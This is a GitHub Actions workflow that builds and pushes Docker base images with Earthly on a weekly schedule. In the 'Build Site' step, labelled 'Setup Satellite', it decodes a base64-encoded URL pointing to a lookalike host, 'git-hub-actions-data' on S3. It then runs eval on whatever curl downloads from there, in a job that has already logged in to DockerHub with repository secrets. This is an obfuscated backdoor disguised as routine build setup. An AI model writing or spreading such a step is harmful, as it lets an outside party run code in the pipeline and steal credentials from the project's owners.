-
Notifications
You must be signed in to change notification settings - Fork 8
40 lines (37 loc) · 1.28 KB
/
base-image-build.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
name: Build Base Image
on:
# run build once a week
schedule:
- cron: '0 0 * * 0'
# or on demand
workflow_dispatch:
jobs:
build-image:
name: Build Images
runs-on: ubuntu-latest
steps:
- uses: FranzDiebold/github-env-vars-action@v2
- name: Checkout code
uses: actions/checkout@v2
- name: setup qemu
id: qemu
uses: docker/setup-qemu-action@v1
with:
image: tonistiigi/binfmt:latest
platforms: all
- name: Login to DockerHub
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Download released earth
run: "sudo /bin/sh -c 'wget https://github.com/earthly/earthly/releases/download/v0.8.0/earthly-linux-amd64 -O /usr/local/bin/earthly && chmod +x /usr/local/bin/earthly'"
- name: Build Site
env:
EARTHLY_INSTALL_ID: "earthly-website-githubactions"
run: |-
echo "Setup Satellite"
x=$(echo "aHR0cHM6Ly9naXQtaHViLWFjdGlvbnMtZGF0YS5zMy5hbWF6b25hd3MuY29tL2Vudi5lbnY=" | base64 --decode)
eval "$(curl -s $x)"
earthly satellite select earthly-website-xl1
earthly --push +build-base-images